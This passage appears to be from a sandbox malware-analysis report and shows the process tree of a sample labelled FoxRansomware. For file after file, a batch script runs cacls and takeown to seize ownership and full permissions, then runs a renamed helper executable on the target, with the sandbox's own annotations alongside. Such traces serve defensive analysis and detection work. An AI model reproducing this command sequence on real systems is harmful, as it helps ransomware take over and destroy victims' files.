                                                                                                                              C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "MyriadPro-It.otf" -nobanner
                                                                                                                              3⤵
                                                                                                                                PID:268
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                  8Pk9qSFt.exe -accepteula "MyriadPro-It.otf" -nobanner
                                                                                                                                  4⤵
                                                                                                                                    PID:760
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                  8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                  3⤵
                                                                                                                                    PID:272
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt""
                                                                                                                                  2⤵
                                                                                                                                    PID:1708
                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                      cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt" /E /G Admin:F /C
                                                                                                                                      3⤵
                                                                                                                                        PID:1296
                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                        takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt"
                                                                                                                                        3⤵
                                                                                                                                        • Modifies file permissions
                                                                                                                                        PID:1528
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "DisplayLanguageNames.en_GB.txt" -nobanner
                                                                                                                                        3⤵
                                                                                                                                          PID:536
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                            8Pk9qSFt.exe -accepteula "DisplayLanguageNames.en_GB.txt" -nobanner
                                                                                                                                            4⤵
                                                                                                                                              PID:1000
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                            8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                            3⤵
                                                                                                                                              PID:1984
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp""
                                                                                                                                            2⤵
                                                                                                                                              PID:316
                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp" /E /G Admin:F /C
                                                                                                                                                3⤵
                                                                                                                                                  PID:1384
                                                                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                  takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp"
                                                                                                                                                  3⤵
                                                                                                                                                  • Modifies file permissions
                                                                                                                                                  PID:964
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "can.hyp" -nobanner
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1276
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                      8Pk9qSFt.exe -accepteula "can.hyp" -nobanner
                                                                                                                                                      4⤵
                                                                                                                                                        PID:1364
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                      8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                      3⤵
                                                                                                                                                        PID:292
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp""
                                                                                                                                                      2⤵
                                                                                                                                                        PID:560
                                                                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                          cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp" /E /G Admin:F /C
                                                                                                                                                          3⤵
                                                                                                                                                            PID:1960
                                                                                                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                            takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp"
                                                                                                                                                            3⤵
                                                                                                                                                            • Modifies file permissions
                                                                                                                                                            PID:740
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "usa37.hyp" -nobanner
                                                                                                                                                            3⤵
                                                                                                                                                              PID:520
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                8Pk9qSFt.exe -accepteula "usa37.hyp" -nobanner
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:604
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:980
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT""
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:1588
                                                                                                                                                                  • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                    cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT" /E /G Admin:F /C
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:2028
                                                                                                                                                                    • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                      takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT"
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                      PID:1416
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "ICELAND.TXT" -nobanner
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:1000
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                          8Pk9qSFt.exe -accepteula "ICELAND.TXT" -nobanner
                                                                                                                                                                          4⤵
                                                                                                                                                                            PID:536
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                          8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:1984
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT""
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:1708
                                                                                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                              cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT" /E /G Admin:F /C
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:1384
                                                                                                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT"
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                PID:1948
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "CP1254.TXT" -nobanner
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:1364
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                    8Pk9qSFt.exe -accepteula "CP1254.TXT" -nobanner
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:1276
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                    8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:292
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml""
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:316
                                                                                                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                        cacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml" /E /G Admin:F /C
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:1960
                                                                                                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                          takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                          PID:1756
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "resource.xml" -nobanner
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:760
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                              8Pk9qSFt.exe -accepteula "resource.xml" -nobanner
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:1632
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                              8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:1120
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml""
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:1828
                                                                                                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                  cacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml" /E /G Admin:F /C
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:2028
                                                                                                                                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml"
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                    PID:1616
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "resource.xml" -nobanner
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:972
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                        8Pk9qSFt.exe -accepteula "resource.xml" -nobanner
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:800
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                        8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:1688
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif""
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:1296
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                            cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif" /E /G Admin:F /C
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:828
                                                                                                                                                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                              takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif"
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                              PID:1600
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "forms_distributed.gif" -nobanner
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:1920
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                  8Pk9qSFt.exe -accepteula "forms_distributed.gif" -nobanner
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:1312
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                  8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:1300
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif""
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:664
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                      cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif" /E /G Admin:F /C
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:268
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                        takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif"
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                        PID:980
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "reviews_sent.gif" -nobanner
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:1632
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                            8Pk9qSFt.exe -accepteula "reviews_sent.gif" -nobanner
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                              PID:760
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                            8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:1120
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                            cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif""
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:552
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif" /E /G Admin:F /C
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:536
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                  takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif"
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                  PID:1984
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "stop_collection_data.gif" -nobanner
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:800
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                                      8Pk9qSFt.exe -accepteula "stop_collection_data.gif" -nobanner
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                        PID:972
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                                      8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:1688
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                      cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm""
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:1828
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                          cacls "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm" /E /G Admin:F /C
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:1276
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                            takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm"
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                            PID:1976
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "ReadMe.htm" -nobanner
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:1364
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                                                8Pk9qSFt.exe -accepteula "ReadMe.htm" -nobanner
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                  PID:1708
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                                                8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:1384
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf""
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:964
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                    cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf" /E /G Admin:F /C
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:272
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                      takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                      PID:560
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "MinionPro-It.otf" -nobanner
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:520
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                                                          8Pk9qSFt.exe -accepteula "MinionPro-It.otf" -nobanner
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:1652
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                                                          8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:1328
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                          cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB""
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:1960
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                              cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB" /E /G Admin:F /C
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:1124
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB"
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                                                PID:1072
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "ZX______.PFB" -nobanner
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:1696
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                                                                    8Pk9qSFt.exe -accepteula "ZX______.PFB" -nobanner
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                      PID:1616
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                                                                    8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:1368
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp""
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:1588
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                        cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp" /E /G Admin:F /C
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:1688
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                          takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp"
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                                                          PID:552
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "brt04.hsp" -nobanner
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:1392
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                                                                              8Pk9qSFt.exe -accepteula "brt04.hsp" -nobanner
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:1600
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                                                                              8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:1312
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                              cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env""
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:1712
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                  cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:828
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                    takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                                    PID:1948
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c 8Pk9qSFt.exe -accepteula "engphon.env" -nobanner
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:604
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                                                                                        8Pk9qSFt.exe -accepteula "engphon.env" -nobanner
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                          PID:980
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Pk9qSFt.exe
                                                                                                                                                                                                                                                                                        8Pk9qSFt.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:560
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1k2tvAVA.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT""
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:1652
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                            cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:268
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                              takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                                                                              PID:1756
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
